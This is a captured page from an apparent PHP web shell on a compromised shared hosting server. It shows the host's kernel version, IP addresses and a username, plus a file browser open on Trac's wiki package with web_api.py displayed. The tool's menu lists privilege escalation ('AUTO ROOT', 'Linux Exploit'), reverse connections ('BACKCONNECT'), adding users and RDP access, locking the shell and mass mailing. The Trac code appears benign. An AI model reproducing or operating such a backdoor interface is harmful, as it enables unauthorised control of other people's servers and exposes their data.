Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
trac /
wiki /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
default-pages
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
__init__.py
652
B
-rw-r--r--
admin.py
10.7
KB
-rw-r--r--
api.py
19.93
KB
-rw-r--r--
formatter.py
61.89
KB
-rw-r--r--
intertrac.py
4.76
KB
-rw-r--r--
interwiki.py
7.04
KB
-rw-r--r--
macros.py
42.37
KB
-rw-r--r--
model.py
10.18
KB
-rw-r--r--
parser.py
9.9
KB
-rw-r--r--
test.py
8.12
KB
-rw-r--r--
web_api.py
2.01
KB
-rw-r--r--
web_ui.py
34.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : web_api.py
# -*- coding: utf-8 -*- # # Copyright (C) 2009-2021 Edgewall Software # All rights reserved. # # This software is licensed as described in the file COPYING, which # you should have received as part of this distribution. The terms # are also available at https://trac.edgewall.org/wiki/TracLicense. # # This software consists of voluntary contributions made by many # individuals. For the exact contribution history, see the revision # history and logs, available at https://trac.edgewall.org/log/. from trac.core import * from trac.resource import Resource from trac.web.api import IRequestHandler from trac.web.chrome import chrome_info_script, web_context from trac.wiki.api import WikiSystem from trac.wiki.formatter import format_to class WikiRenderer(Component): """Wiki text renderer.""" implements(IRequestHandler) is_valid_default_handler = False # IRequestHandler methods def match_request(self, req): return req.path_info == '/wiki_render' def process_request(self, req): # Allow all POST requests (with a valid __FORM_TOKEN, ensuring that # the client has at least some permission). Additionally, allow GET # requests from TRAC_ADMIN for testing purposes. if req.method != 'POST': req.perm.require('TRAC_ADMIN') realm = req.args.get('realm', WikiSystem.realm) id = req.args.get('id') version = req.args.getint('version') text = req.args.get('text', '') flavor = req.args.get('flavor') options = {} if 'escape_newlines' in req.args: options['escape_newlines'] = \ req.args.getbool('escape_newlines', False) if 'shorten' in req.args: options['shorten'] = req.args.getbool('shorten', False) resource = Resource(realm, id=id, version=version) context = web_context(req, resource) rendered = format_to(self.env, flavor, context, text, **options) + \ chrome_info_script(req) req.send(rendered.encode('utf-8'))
Close